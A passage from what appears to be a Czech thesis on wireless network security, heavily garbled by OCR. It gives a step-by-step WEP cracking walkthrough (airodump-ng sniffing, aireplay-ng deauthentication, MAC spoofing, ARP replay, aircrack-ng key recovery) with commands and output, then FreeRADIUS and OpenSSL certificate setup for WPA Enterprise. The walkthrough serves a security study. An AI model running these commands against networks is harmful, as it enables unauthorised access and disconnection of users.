Dalsi zlepSeni zabezpeceni bylo provedeno vytvofenim nového pravidla
mangle'” tabulky, kterd uréuje rychlost klienta podle jeho IP adresy. Toto
pravidlo se kontroluje jako posledni a pfifadi klientovi, ktery nevyhovél,
zddnému z ptedchozich pravidel, nulovou rychlost. Tim se ptipadnému
uto¢nikovy vyrazng ztizi analyza paketd a ziskani ptistupt do sit¢.

Po diskuzi s provozovateli sit¢ TyneckyNet bylo navrhované zabezpeceni
WPA2 Enterprise nahrazeno zabezpeCenim WPA Enterprise. Divodem je

kompaktibilita starSich klientskych zatizeni, kterd nejsou schopna vyuzivat

Sifrovaci algoritmus AES.

Nevyhody

e Naiaroc¢na instalace autentizaé¢niho serveru

e Pii vypadku autentiza¢niho serveru neni mozny pfistup do sité
Vyhody

e Centralizovana sprava ptihlasovacich udaji do sité

e Propojeni databaze ptihlasovacich udajii s webovym rozhranim
e Mobilita uzivatelii mezi ptistupovymi body

e Vysokd bezpecnost

e ZvySeni propustnosti sité¢ o cca 10%

e Moznost propojeni vice autentizacnich servert mezi sebou

13 gast firewallu, kde se nastavuji rychlosti jednotlivych IP adres nebo jejich rozsah
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7.3 Prolomeni zabezpeéeni WEP a restrikce MAC adres

7.3.1 Postup

Je znazornén diagramem v pfiloze A. Nejlepsim a nejrychlejSim fesenim
je v jedné linuxové konzoli spustit odposlech. V druhé generovani provozu a

v tteti WEP key cracking. Nutné v tomto potadi.

7.3.1 Detekce bezdratové sité

Je pripravna faze kdy zjistime potfebné informace o dostupnych sitich.
Jako prvni je tieba zjistit jaké zabezpecCeni obsahuje. Jako zaklad poslouzi i
v Ubuntu standartné nainstalovany program Iwlist. Ovlada se zkonzole.
Zadéanim piikazu:

iwlist <interface> scanning

<interface> nahrad’te identifikatorem sitového zatizeni (naptiklad ethl,
athO, aj.). Zobrazi se vypis vSech dostupnych siti a zakladni popis, ktery
obsahuje vSe potfebné. Hlavné druh pouzitého Sifrovani, pokud je néjaké
pouzito. Iwlist poskytuje jen zékladni udaje o siti. Profesionalné;jsi alternativou
je program Kismet. Sklada se ze dvou casti (server a klient). Obé mohou byt

nainstalovany na jednom pocitaci.

Pouzit jde 1 Adirodump-ng z baliku Aircrack-ng nastaveny na frekvencni
pteskoky, kdy prochazi vSechny kandly. Tento nastroj je podrobné popsan
v nasledujici ¢asti.

Dulezity pfi prolamovani jakékoli bezdratové sit€ je dobry signal. Bez
n¢j bude i sebelepsi software k nicemu. Samotny notebook bez externi antény
neni piili§ vhodny. Odposlech trva velmi dlouho. Proto doporucuji externi

anténu (nejlépe smérovou).

7.3.2 Odposlech

K odposlechu slouzi program Airodump-ng z baliku Aircrack-ng. Spousti

se z konzole prikazem:

airodump-ng <parametry> <interface>

MozZné¢ parametry udava tabulka ¢.7.
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Tabulka ¢. 7 Pfehled parametra programu airdump-ng

P zkraceny .
cely zapis 2dipis popis
--channel . , ,
<channels> -C zachycuje na zadaném kanale
zachycuje zadany standart (a/b/g)
—band <abg> b defaulté (bg)
—write<soubor> W urcuje cestu a jméno souboru kam
se budou ukladat zachycena data
—ivs S uklada pouze zachycené
inicializacni vektory (IV)
—beacons e zaznamenava vSechny ramce do
souboru
—netmask <mask> m zachycuje jen AP vyhovujici
zadané masce
--bssid <ssid> -d zachycuje AP dané¢ho BSSID
. zachycuje AP podle pouzitého
--encrypt <suite> -t Sifrovani
-a -a nezobrazuje neptipojené klienty

Pokud airodump hlasi, Ze potieba kartu ptfepnout do monitor modu, je
potieba zménit mod karty prikazem:

airmon start <interface>
nebo

iwconfig <interface> mode monitor
Pokud se to nedati prostudujte dokumentaci vaseho ovladace bezdratové
karty, zda-li monitor mod podporuje. Pokud ne, pouzijte jiny ovladac.

Priklady:

airodump-ng -w ~/odposlech/vse --ivs eth1
Provoz bude zachycovdn na vSech kandlech frekvence 2,4 GHz
(11 kanalu). Airodump-ng bude vtefinu zachycovat na kanale a poté pieskoci

na dal$i kanal. Ukladat se budou pouze IV a to do souboru odposlech.ivs

airodump-ng -w Tynecky.NET_sniffing -c 9 -d \
Hospoda.AP_Tynecky.NET --ivs eth1

Airodump bude zachycovat provoz na 9. kanalu (2,4 GHz) sit’ s SSID

Hospoda.AP-Tynecky.NET (-d). Bude ukladat pouze zachycené IV (--ivs) do
souboru Tynecky.NET sniffing (-w).
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airodump-ng --band a --bssid spoj.AP_Tynecky.NET -w \
Tynecky.NET _sniffing -e

Do souboru Tynecky.NET sniffing.cap se bude zapisovat vSechen

provoz (-e) na SGHz (--band ) sit¢ s BSSID spoj.AP_Tynecky.NET.

Interface

Po zadéni ptislusného piikazu na odposlech se zobrazi interface podobny

jako je na obrazku ¢. 17.

CH 5 ][ Elapsed: 52 s ][ 2007-03-14 19:47

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:12:0E:34:69:E4 -1 10 10 8 5 11 OPN AP56638X
00:60:B83:23:C5:FE -1 18 0 (] 1 11 OPN jalinet4
00:60:B83:6E:12:33 -1 43 71 6 11 11 OPN jalinet2
00:60:B3:2A4:59:1C -1 136 554 29 3 11 OPN jalinetZz
B0:0A:59:F3:81:B1 -1 23 13 2] 7 11 WEP WEP <length: 0>
@0:0E:8E:7B:85:45 -1 73 5 @ 6 11 WEP WEP 2001
00:12:0E:35:09:C0 =1 8 29 ] 1 54 OPN LoNetPrel
00:0B:6B:37:33:27 -1 3 0 @ 7 11. OPN jalinet ubytowna 3
BSSID STATION PWR Lost Packets Probes
00:60:B3:6E:12:33 00:11:2F:00:26:24 -1 (] 2

60:60:B3:6E:12:33 00:4F:62:804:E1:FC -1 [c] 1

00:60:B3:6E:12:33 00:4F:62:05:FA:E1l -1 0 1

00:60:B3:6E:12:33 00:0E:2E:6B:63:20 -1 0 10

00:60:B3:6E:12:33 00:4F:62:02:FD:10 -1 ] 11

00:60:B3:6E:12:33 00:4F:62:05:E3:CD -1 0 40

00:60:B3:2A:59:1C 00:0E:2E:9A:35:8E -1 <] 1

00:60:B3:2A:59:1C 00:4F:62:03:97:28 -1 ] 11

00:60:B3:2A:59:1C 00:08:A1:70:8A:57 -1 ] 23

B0:60:B3:2A:59:1C 00:E0:98:C5:BD:FO -1 [¢] 5

00:60:B3:2A:59:1C 00:4F:62:04:F1:DF -1 ] 2

00:60:B3:2A:59:1C 00:E0:98:46:67:0A -1 0 12

00:60:83:2A:59:1C 00:0B:6B:2A:E9:B7 -1 0 13

00:60:B3:2A:59:1C 00:4F:62:00:37:73 -1 (] 259

00:60:B3:2A:59:1C 00:4F:62:00:37:69 1 [¢] 7

00:60:B3:2A:59:1C 00:0B:6B:2A:E8:9A -1 0 142

00:60:B3:2A:59:1C 00:0E:2E:6E:37:93 -1 (] 24

60:60:B3:2A:59:1C 00:4F:62:03:98:FF -1 [¢] 34

00:0E:8E:7B:85:45 00:12:0E:34:83:E2 -1 7 5

00:12:0E:35:09:C0 00:4F:62:02:0A:C0 -1 0 2

00:12:0E:35:09:C0 00:0E:2E:62:46:13 -1 ] 22

Obrizek ¢. 17 Odposlech provozu programem airdump-ng
V levé horni ¢asti se zobrazuje ¢islo aktualné odposlouchdvaného kanalu,
doba jakou airodump-ng pracuje a aktudlni datum a Cas. Co znamena ktery

sloupec uvadi tabulka ¢. 8.
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Tabulka ¢. 8 Airdump-ng interface

Sloupec Popis

BSSID MAC adresa ptistupového bodu

PWR Sila signélu, -1 znamena, Ze se silu nepodaftilo zjistit. Chyba je
v ovladacéich mé Intel bg2200 karty. Hodnota kvalitniho signalu
je 100 a vice.

Beacons Pocet paketi odeslanych piistupovym bodem. Kazdé AP posila
okolo 10 beacons za vtefinu pii 1MB rychlosti. Informace
ziskéna od AP.

#Data Pocet zachycenych pakett (pokud je sit’ zabezpecena WEP, tak
unikatnich IV) i broadcast.

#/s Pocet paketii zachycenych za poslednich 10 sekund.

CH Cislo kanalu (ziskano z beacon paketu). Stava se, Ze airodump
zachycuje pakety i z vedlejsich kandlu (napft. 5. a 7. pokud je
nastaven 6. kanal). To je zpisobeno rusenim.

MB Maximadlni rychlost podporovana pfistupovym bodem. Z toho lze
vyvodit pouzity standart (11 =802.11b, 54 = 802.11g). Pokud je
za rychlosti te¢ka znamena to, podporu short preamble.

ENC Pouzité Sifrovani OPN = zadné, WEP? = WEP nebo vyssi
(nedostatek dat pro rozliseni WEPu a WPA/WPA?2), WEP (bez
»1) = WEP Sifrovani, WPA nebo WPA2 = pokud je pfitomen
TKIP nebo CCMP.

CIPHER | Typ pouzité Sifry (CCMP, WRAP, TKIP, WEP, WEP40 nebo
WEP104).

AUTH Pouzity autentizacni protokol (PSK — shared key, OPN — zadny,
MGT - oddéleny autorizaéni server WPA nebo WPA2).

ESSID Casto nazyvany SSID (identifikator sit&) pokud je prazdny nebo
<length:c¢islo> je SSID ptistupového bodu skryté (Airodump se
SSID pokusi ziskat z autoriza¢nich paketl pfi ptipojeni klienta
k siti).

STATION | MAC adresa kazdé stanice pfihlasené k AP uvedenemu ve
sloupci ESSID.

Lost Pocet ztracenych paketi za poslednich 10 sekund.

Packets Pocet paketii odeslanych stanici.

Probes ESSID sité do které je stanice pfipojena (ziskava se od stanice).

7.3.2 Odhaleni skrytého SSID

Prazdného pole nebo <length:cislo> ESSID pfti odposlechu programem

Airdump-ng znamena, ze AP ma skryté SSID. To lze zachytit z autoriza¢niho

paketu, kterym se kazda stanice ptihlasuje k siti. Posild v ném SSID sité k niz

se pripojuje. Neni nutné cekat az se pfipoji néktery z opravnénych uzivateld,
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kvali neznamému SSID. Lze to udélat pomoci paket injection (injektovani
paketil) a to konkrétné¢ tzv. deauth paketem, kterym stanice piihlaSuje
ptistupovému bodu, ze se odpojuje. Paket injection se provadi s paralelné

spusténym odposlechem.

Princip spociva ve vytvoteni deauth paketu pomoci programu Aireplay-
ng z baliku Aircrack-ng. Deauth paket obsahuje MAC adresy AP a piipojeného
klienta, zjisténé pomoci odposlechu airdumpem a nasledného zaslani paketu do
sité. AP dostane deauth paket o kterém podle MAC adres usoudi, ze jeden
z klienti ohlaSuje svoje odpojeni a ukonci s nim spojeni. Jak odpojeny klient
zjisti, ze byl odpojen opét se do sit¢ ptihlasi. V tu chvili v okné airdumpu,
mezitim stadle odpolouchéavajici provoz v siti, nasko¢i SSID, zachycené

z piihlasovaciho paketu odpojené stanice. K tomu slouZzi nasledujici ptikazy:

aireplay-ng 0 5 -a <AP_MAC> <interface>
posle 5 deauth paketi k AP ptes broadcast

aireplay-ng -0 5 -a <AP_MAC> -c <clientMAC> <interface>
opet 5 deauth paketd od AP ke klientovi

airepaly-ng -0 5 -a <AP_MAC> -h <MACzdroje> <interface>

posle 5 deauth paketii k AP ptes broadcast i s adresou zdrojové stanice

aireplay-ng -0 5 -a <AP_MAC> -h <MACzdroje> -c <clientMAC>\
<interface>

posle 5 deauth paketti od AP ke klientovi i s MAC adresou zdroje

v

Nejefektivnéjsi jsou pakety mifici od AP ke klientovi jak ndm napovida

aireplay-ng na obrazku ¢. 18. VétSina AP deauth paketim posilanym pfes

(24

broadcast neveri, proto je lepsi zaméfit se na klienta.

milan@AMT:~$ sudo -s

root@AMT :~# aireplay -0 5 -a 00:06:25:60:0A:4B wifi@

This attack is more effective when targeting a

connected wireless client (-c =<client's mac>).

17:23:59 Sending DeAuth to broadcast -- BSSID: [00:06:25:60:0A:4B]
17:23:59 Sending DeAuth to broadcast -- BSSID: [(00:06:25:60:0A:4B]
17:23:59 Sending DeAuth to broadcast -- BSSID: [00:06:25:60:0A:4B]
17:23:59 Sending DeAuth to broadcast -- BSSID: [00:06:25:60:0A:4B]
17:24:00 Sending DeAuth to broadcast -- BSSID: [00:06:25:60:0A:4B]
root@AMT:~# |]

Obrazek ¢. 18 Odpojeni pripojeného klienta pomoci death paketu
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7.3.3 Generovani provozu

Pokud v siti neni téméf Zadny provoz, je odvozovani tajného klice, bez
pouziti packet injection dlouhodoba zélezitost. Pomoci injekce paketti je mozné
provoz generovat. OvSem pied zaCatkem je nutné piipojit (asociovat) se

k ptistupovému bodu (obrazek €. 19). Asociace se provadni nasledovné:

aireplay-ng -1 0 -e <AP_SSID> -a <AP_MAC> -h <moje_ MAC> \
<interface>

naptiklad:

root@AMT:~/skripty# aireplay-ng -1 @ -¢ EpEEESE— -3 00:02:2D:3E:FF:7C -h 60:82:2D:3E:FF:7C athl

The interface MAC (86:0B:6B:20:75:AF) doesn't match the specified MAC (-h).
ifconfig athl hw ether 96:92:2D:3E:FF:7C

D1:42:42 Sending Authentication Request

01:42:42 Authentication successful

B1:42:42 Sending Association Request

B1:42:48 Sending Authentication Request

01:42:48 Authentication successful

01:42:48 Sending Association Request

01:42:54 Sending Authentication Request

p1:42:54 Authentication successful

01:42:54 Sending Association Request

Obrizek ¢. 19 Asociace s AP pomoci programu Aireplay-ng
Po uspésné autentizaci je mozné vyuzit Aireplay-ng k generovani
provozu pomoci opakovanych ARP dotazi. Tim se zvySi provoz a pocet

zachycenych IV. Aireplay pozna ARP dotaz podle jeho konstatni délky.

aireplay-ng -3 -b <AP_MAC> -h <clientMAC> -x 600 <interface>

Zacne odposlouchavani provozu a hledani ARP pakett, jakmile je néjaky
nalezen zacne se opakovan¢ (600x za vtefinu podle parametru -x) injektovat
zpét do sité¢ s MAC adresou né¢jakého pripojeného klienta (parametr -h). Proto
aby vSe fungovalo, je nutné zménit MAC adresu zafizeni, pies které budeme
pakety injektovat na MAC nékterého z klientl pfipojenych k siti. V Airodumpu
rapidné néroste provoz u stanice pod jejiz MAC adresou injektujeme ARP
pakety. Ostatni stanice v siti zacnou na ARP dotazy odpovidat a tim generuji
provoz. Nasbirani dostatecného mnozstvi paketii je otdzkou nckolika minut.

Pocet nasbiranych ARP dotazil se zastavi na Cisle 1024. Viz obréazek €. 20.
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root@AMT:~/skripty# aireplay-ng -3 -b 00:02:20:3E:FF:7C -h 00:4F:62:03:49:00 -x 600 -r replay arp-0319-014744.cap athl
Saving ARP requests in replay arp-0319-014959. cap

You should alse start airodump-ng to capture replies.

ﬁead 4161 packets (got 8 ARP requests), sent 30056 packets...

Obrazek ¢. 20 Generovani provozu programem Aireplay-ng
7.3.4 Odvozeni WEP Kklice

K odvozeni WEP kli¢e slouzi Aircrack-ng, ma mnoho parametrt, které
se daji rizné¢ kombinovat, proto pokud se nepodati ziskat kli¢ na prvni pokus
neni nic ztraceno. Jen pomiiZze trochu si zaexperimentovat s parametry (pichled
v manudlovych strankéch Aircrack-ng). Kolik je potieba IV pro jednotlivé

druhy zabezpeceni najdete v tabulce €. 9.

Tabulka ¢. 9 Potirebné mnoZstvi IV k odvozeni tajného klice

délka klice udavana / realna (v bitech) potrebné mnozstvi IV (v tis.)
64 /40 80 —300
128 /104 300 -1 000

Aircrack-ng se spousti nasledovné:

aircrack-ng [parametry] <soubory>
V piipadé, Ze je v souboru ulozen provoz vice siti, program je rozlisi dle
MAC adresy ocisluje je a zeptd se s kterou ma pracovat. Piikaz na spusténi
desifrovani:
aircrack-ng -x Tynecky_ net*.ivs
Pti crackovani se neprovadi bruteforce poslednich dvou keybytt. Pokud
nebude odvozeni tspésné doporucuji zkusit nasledujici piikaz:
aircrack-ng -y Tynecky_net*.ivs
Piikaz spusti experimentalni itok brutalni silou. M¢l by byt pouzit kdyz
nevyjde normalni utok. Tento utok je mozné pouzit i na soubory vytvorené
airplay-ng pti generovani provozu. Airplay-ng pti kazdém spusténi vytvori
soubor .cap, kam ulozi pakety ztraktované MAC. Soubor obvykle vypada
né&jak takto: replay arp-1105-165324.cap
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Pokud selze brutdlni utok (aircrack-ng -—y) spustime utok na

vygenerovanych paketech:

aircrack-ng -y replay_arp-1105-165417.cap
Ptikazem aircrack-ng --help se zobrazi piehled moznosti. Na online
prolomeni 128bitové Sifry staci s pocita¢ s 900MHz procesorem. V ptipadé
slabSiho procesoru, méné vykonného PC nebo testovani 256 bitové Sifry,
muzeme si zachyceny provoz ulozit a o prolomeni se pokusit offline nebo

pouzit aircrack-ng bez grafického vystupu (parametr —q) (16).

Tabulka ¢. 10 Prehled parametri programu aircrack-ng

parametr popis

-C Hleda kli¢ slozeny pouze z alfanumerickych znakt

-t Hleda kli¢ sloZzeny z binarnich znak ( opak —)

-d start Pocatek klice pokud je zndm, zadan misto start hexadecimalné

-n bity Urcuje délku hledaného klice (64, 128, 256) standartné nastaveno
hledani 128 bitového klice

-1 index Urcuje index hledaného klice. Pfednastaveno ignorovani indexu
klice
-furoven | Urcuje Grovein zastoupeni titoku hrubou silou. Standartné 2.

-X Utok hrubou silou na posledni dva byty klice.

-q Bez grafického vystupu

Soubor *.ivs je mozné spojit s jinym souborem .ivs, piipadné ho pienést

na jiné PC, nebo pod jiny operacni systém.

Priklady poufZiti:

aircrack -q -x -b 00:06:B3:XX:XX:XX out.ivs
Odvozuje kli¢ AP s MAC 00:06:B3:XX:XX:XX. Hledd pouze alfa-

numerické znaky (-c) a neprovadi utok brutdlni silou na posledni dva byty
klice.
Na obrazku ¢. 21 wvidite zavérecnou fazi, nalezeny klic je

z pochopitelnych divodl zacernén.
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Session Edit View Bookmarks Settings Help

Aircrack-ng 8.7

[68:08:21] Tested 2 keys (got 34089870 IVs)

KB depth  byte{vote)
o B/ 1 92(1937) @3( 95) 65( 48) BF( 48) 37( 42) 9D(
1 B/ 1 B7(2312) eD( 184) AD( 86) E3( 73) CF( ®B3) AL(
2 B/ 1 C3(2567) 8C( 533) 95( B3) D7( 37) 87( 25) 98(
3 6/ 1 45(1158) 98( 182) G6E( 73) 53( 42) cC( 38) 8E(
4 e/ 1 88(2695) BA( 558) 47( 60) C2( 59) 49( 44) 42(
5 e/ 1 7F{1354) 3A( 94) 6B{ 50) C4( 38) BF{ 31) C1{
5] B/ 1 37( 868) 2F( 327) E3( 62) C8( 57) 31( 43) 97(
7 B/ 1 F8( 839) 56( 95) FB( 860) 71( 53) Al{ 49) 8D(
8 B/ 2 14(2703) 35(1894) 47( 361) EA({ 338) 8A( 323) 52(
9 /s 1 18(2158) C9( 362) 7F( 295) 7D( 289) ca( 277) CE(
1@ es 1 EA(1862) D4( 327) BE( 69) 5A( 67) BA( 57) 58(
11 6/ 1 CD(1968) AB( 81) E4( 70) 13( 69) 17( 864) 62(
12 B/ 1 DF(1840) 86( 157) 55( 88) BF( 82) 36( 76) CF(

KEY FounD! [ 92:07: I |

root@AMT : ~/wifi-odposlech/Lousa# I

28)
57)
21)
30)
39)
31)
42)
45)
307)
273)
57)
63)
74)

79(
[ol: ]
Al
24
43
Do (
CF{
AB(
2D
02|
C5(
50 (
37(

4)
27)
19)
29)
39)
24)
40)
44)

306)
263)
56)
61)
64)

Obrazek ¢. 21 Aircrack-ng odvodil tajny kli¢

7.3.5 Analyza provozu

Postupem popsanym v teoretické Casti o analyze provozu zjistime volnou

IP adresu, branu a DNS servery v siti. Tim ziskdme plnohodnotny pfistup do

sité.
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8. Autentizacni server FreeRADIUS

Open source projekt FreeRADIUS byl zalozen v ¢ervenci roku 1999
Miquelem van Smoorenburgem a Alanem DeKokem. Prvni ,,alfa® verze byla
uvolnéna jiz v zafi roku 1999. Verze s oznacenim 0.1 byla vydana v kvétnu

2001. Od té doby jsou nové verze uvoliiovany kazdych nékolik mésici.

Od té doby vyvojafi serveru FreeRADIUS pfidali podporu mnoha
autentizaCnich algoritm@ a ptekonali jakykoli jiny open source server. Denné
jeho sluzeb vyuzije na 100 milién lidi k pfistupu k internetu. FreeRADIUS je
vyuzivan ve vice nez 50 000 pocitacovych siti o velikosti od 10 az po 10

miliénh uzivateld (12). Je dobte konfigurovatelny a flexibilni.

Z dalSich projekti souvisejicich s autentizaci pomoci RADIUS serveru

z dilny FreeRADIUS jsou :

= freeradius-client - knihovny pro RADIUS klienty (licence BSD),

* mod auth radius - RADIUS modul pro webovy server apache 1.x a 2.x.

FreeRADIUS podporuje nasledujici autentifikaéni metody:

e PAP,

e CHAP,

e MS-CHAP,

e EAP-MDS5, EAP-GTC, EAP-TLS, EAP-TTLS,
e PEAPVO,

e LEAP,

e EAP-SIM,

a star$i typy autentifikace.

Server podporuje SQL, LDAP, RADIUS Proxy, déleni zatéZe a dalsi
sluzby, jejichz Gplny popis je nad ramec této prace, proto v piipad¢ zajmu,

navstivte webové stranky projektu na www.freeradius.org.
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8.1 Potrebné vybaveni

Hardware

v Poctita¢ vybaveny systémem Linux
v AP s podporou WPA Enterprise
v" Bezdratového klienta (nejlépe poéita¢ s Windows XP)

Software

v" Window XP s minimalné SP1 s aktualizaci Hotfix Q815485 (pro
podporu WPA)

Distribuci OS Linux

ovladace pro bezdratovy adaptér

OpenSSL 0.9.7a nebo vyssi

FreeRADIUS server

D N N NN

PouZzité vybaveni

e Linksys BEFWS4 V4 wirelles Access Point (testovaci AP)

e routerboard MIKROTIK: RB532A 64RAM, 400 MHz, 2x miniPClI, 3 x
LAN

e ACER Travelmate 4102WImi s Windows XP Home SP2 a Ubuntu
Linux 6.10 (jadro 2.6.17-11-generic) s intel2200 abg bezdratovou
kartou a PCMCIA bezdratovou kartou zaloZzenou na chipsetu CB9
(testovaci klient)

e Intell Pentium IIT 1200 MHz, 512 MB RAM, Ubuntu Linux 6.10 (jadro

2.6.17-11-generic) pro Radius server

8.2 Instalace

V nasledujicich tadcich popisuji jak nainstalovat autentizacni server
FreeRADIUS stable verze 1.1.6 na pocitac Intel Pentium II1 1,2 GHz s 512 MB
RAM a operacnim systému Ubuntu 6.10 Edgy Eft. V navodu se uvedu jak
postupovat pii instalacich na jinych distribucich systému Linux, ale pfedem

upozornuji, Ze nejsou odzkousené.

V prvni tadé je tfeba ziskat instalaci serveru. Lze ji ziskat pomoci
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programu Apt (Advanced Package Tool) v OS Ubuntu nebo v sekci download z

webovych stranek projektu tedy z www.freeradius.org. K instalaci je potieba

mit naistalovan bali¢ek libc6-dev.

V prvnim piipadé staci zadat do konzole pfihlaSen pod uzivatelem root

nasledujici ptikaz a server se stahne a naistaluje automaticky:

apt-get install freeradius

V ptipadé¢, ze instalujete FreeRADIUS na systém, ktery Apt nepodporuje,

je postup nasledujici:

1)

2)

3)

4)

Stdhnout z www stranek organizace FreeRADIUS'® instalatni soubor
zabaleny v programech tar a gzip (poznate ho podle pfipony .tar.gz),

V konzoli ptejit do adresare kde se nachdzi instalacni soubor a pomoci
nasledujicich ptikazli soubor rozbalit a naistalovat:

tar zxvf freeradius-[version].tar.gz
Jconfigure

make

make install

V souborech INSTALL a README je popsan postup instalace,
pozadavky serveru, zndmé problémy pfi instalaci a dalSi informace.
Jako dalsi zdroj informaci stejné dobie poslouzi i manudlové stranky
(dostupné prikazem man jméno_programu).

V ptipadé, Ze se objevi hlaska ,,Cannot find libperl.so“ (mlj piipad).
V adreséafi /usr/lib ovéfte existenci souboru [libperl.so.5.8 (pokud
neexistuje ani jina verze souboru, tak je tfeba balik /ibper! doinstalovat)
a vytvoite odkaz [libperl.so (piikaz In —-s kam_odkaz_ukazuje

jmeno_odkazu), ten bude ukazovat na libperl.so.5.8.

' www.freeradius.org
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8.3 Konfigurace
Postup konfigurace bude nasledujici:

1) tvorba certifikacni autority a certifikatu,
2) konfigurace FreeRADIUS serveru,
3) nastaveni AP,

4) nastaveni klientd.

8.3.1 Tvorba certifika¢ni autority a certifikati

Pred zacatkem samotné konfigurace FreeRADIUS serveru je potieba
vytvofit certifikani autoritu (CA) a nékolik certifikati. Certifikani autorita
slouzi jako kofen'’ viech vefejnych certifikatd. Jejim prostfednictvim se
potvrzuje platnost vSech digitalnich podpist certifikati pouzitych v siti.
Pomoci C4 je mozné vytvorit certifikaty pro dalsi aplikace pouzivajici TLS a
dalsi zpisoby ovéfovani jako jsou napiiklad webové servery a zabezpecené

tunely (SSH).

Certifika¢ni autorita se vytvari pomoci skriptu CA.sh. Proto je tfeba mit
nainstalovan balicek OpenSSL (na distribuci Fedora Core se nazyva OpenSSL-
perl). Vubuntu se nachazi v /usr/lib/ssl/misc/. Pro vytvoteni CA slouzi

nasledujici ptikaz. Je nutné ho spusti jako uzivatel root.

sh /usr/lib/ssl/misc/CA.sh -newca
Po nékolika otazkach ohledné identity a lokality. Se skript zeptd na
tajnou frazi (pro bezpecnou frazi je nutné aby spliiovala pozadavky definované
v kapitole 6.3 Politika hesel). Zadejte bezpecnou frazi. Bez znalosti tajné fraze
nelze vytvorenou CA pouzit, proto je nezbytné ji poznamenat na bezpecném
misté! Po skonceni skriptu bude v aktualnim adresaii novy adresai demoCA a v
ném certifikat cacert.pem (pokud nebylo zadano jiné jméno certifikatu). Tento

certifikat musi mit Radius server i kazdy klient, ktery se chce pfipojit do sité.

Aby se mohli do sité pfipojit stanice s OS Windows XP, je potieba

' pouziva se k vytvateni certifikatd a ty jsou potom podle CA ovéfitelné
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vytvorit soubor s nazvem xpextension ve stejném adresafi, jako je soubor

openssl.cnf (v ubuntu: /etc/ssl/) s nasledujicim obsahem:

[ xpclient_ext ]

extendedKeyUsage = 1.3.6.1.5.5.7.3.2
[ xpserver_ext ]

extendedKeyUsage = 1.3.6.1.5.5.7.3.1

Tvorba certifikatii serveru

V této Casti se vytvari potiebné certifikaty. Certifikaty jsou celkem tfi.
Pro EAP-TLS jsou potfeba nejméné¢ dva certifikaty, kromé¢ CA. Certifikat
serveru pro FreeRADIUS a jeden klientsky certifikat pro kazdého klienta v siti.

Tvorba certifikatl probiha ve tiech krocich:

1. Vytvoteni podpisového pozadavku (nepodepsany certifikat)
2. Podepsani pozadavku certifikacni autoritou (CA)
3. Zkopirovani podepsaného certifikatu na klientské zatizeni, kde bude
pouzivan
Podpisovy pozadavek vytvofime pomoci néasledujiciho ptikazu:

openssl req -new -nodes -keyout server_key.pem -out \
server_req.pem -days 730 -config openssl.cnf

Opét budeme dotazani na kod zemé, organizaci, stat a dalsi formality.
Dulezity je dotaz na Common name. Zadejte doménové jméno pocitace na
kterém bude bézet server (napt. server.opicak.cz). Ptikaz vytvofil soubor
server.req.pem obahujici aktudlni pozadavek (nepodepsany certifikat) a soubor
server_key.pem. Ten obsahuje privatni kli¢ bez fraze (frazi jsme zadavali pii

tvorbé CA).
Nyni pouzijeme kli¢ CA certifikatu k podepsani pozadavku:

openssl ca -config openssl.cnf -policy policy_anything \
-out server_cert.pem -extensions xpserver ext \
-extfile xpextension -infiles server_req.pem

Ptikaz nacte soubory a vyzadad zadéani tajné fraze. Ta byla zadana pfi
tvorbé CA. Po vlozeni spravné fraze ulozi podepsanou verzi souboru
server _req.pem a odpovidajici soukromy kli¢ do souboru server cert.pem.
Prave kvuli ¢asti -extension piikazu jsme vytvareli soubor xpextension. Ptikaz
je nutné spustit v adresafi, kde se nachazi demoCA s potiebnymi certifikaty

soubor xpextension a certifikaty server key.pem a server key.req.
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V pripad¢, Ze bude piikaz hlasit, ze néktery soubor nebo adresat nebyl

nalezen, zadejte cestu k souboru natvrdo (tzv. /etc/ssl/demoCA/xpextension).

Pokud se pfi podepisovani objevi chyba ,,ERROR:Serial number 00 has
already been issued”. Oteviete v libovolném textovém editoru soubor index.txt
a index.txt.old v adreséii demoCA. V tietim sloupci je tfeba zménit ¢islo 00 na

01. Poté certifikat podepiste znovu.

Oteviete podepsany certifikat (server req.pem) v n&jakém textovém

editoru a smazte vse pred fadkem:

----BEGIN CERTIFICATE----
Poté podepsany certifikat a soukromy kli¢ spojte do jednoho souboru.

K tomu slouzi nasledujici piikaz:

cat server_key.pem server_cert.pem > server_keycert.pem
Nyni mame serverovy certifikat s privatnim klicem v souboru
server _keycert.pem a muzeme ho pouzit v naSem FreeRADIUS serveru.
Privatni kli¢ neni chranén heslem, proto je rozumné smazat vSechny kopie,

pokud néjaké existuji.

Certifikaty klientii

V této fazi mame hotové klice serveru a zbyva vygenerovat klice pro
klienty. Cely postup je podobny jako v ptipadé serverovych certifikat. V prvni
fad¢ je tieba vytvoftit klientsky nepodepsany certifikdt pomoci nasledujiciho
prikazu:

openssl req -new -keyout client_key.pem \
-out client_req.pem -days 730 -config ./openssl.cnf

Obdobn¢ jako pfi tvorbé serverového certifikatu je tieba zadat frazi,
kterou bude certifikat zaSifrovan. Je nutné zvolit bezpecné heslo! Jak vytvorit
bezpecné heslo popisuje kapitola 6.3 Politika hesel. Po zadani fraze a provedni
ptikazu se vytvoti soubory client req.pem a client key.

Nasledujici ptikaz podepiSe nepodepsany certifikat:

openssl ca -config ./openssl.cnf \
-policy policy_anything -out client_cert.pem\

-extensions xpclient_ext -extfile ./xpextensions \
-infiles ./client_req.pem

Opét plati stejna pravidla jako u serverového certifikatu. Piikaz se musi
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spustit v adresaii s CA a demoCA. Pokud se vyskytne chyba ,,ERROR:Serial
number 01 has already been issued”, pomiZze editace souboru
demoCA/index.txt a uvolnéni cCisla, které se zobrazilo v chybové hlasce
zvySenim existujicich Cisel v souboru o jedna. Tento certifikdt bude bez

problémt fungovat na klientech s OS linux, ale ne s Windows XP.

Aby certifikat fungoval na OS Microsoftu musi se prevést na PKCS12

format souboru. K tomu slouzi nasledujici ptikaz:

openssl pkcs12 -export -in client_cert.pem\
-inkey client_key.pem -out client_cert.p12 -clcerts

Nasleduje dotaz na tajnou frazi klientského certifikatu a poté na novou

frazy, ktera se pouzije k zaSifrovani klientského certifikatu pro Windows XP.

WPA supplicant ve Windows XP pracuje pouze pokud je certifikat
hranén tajnou frazi. Neni zrovna idedlni, pokud se soukromé kli¢e posilaji ptes
sit’ nechranéné frazi. Proto diirazn¢ doporucuji odebrat ochranu tajnou frazi az

na klientském pocitaci s Windows XP.

Podpora WPA v OS Linux je o néco lepsi, ale také ne zcela dokonala.
Xsupplicant a wpa_supplicant (klientsky ,,supplicant software pro WPA)
pracuji pouze kdyz maji certifikat bez tajné fraze, nebo musi mit tajnou frazi
uloZenou jako Cisty text (neSifrovanou) v konfiguraénim souboru. To je
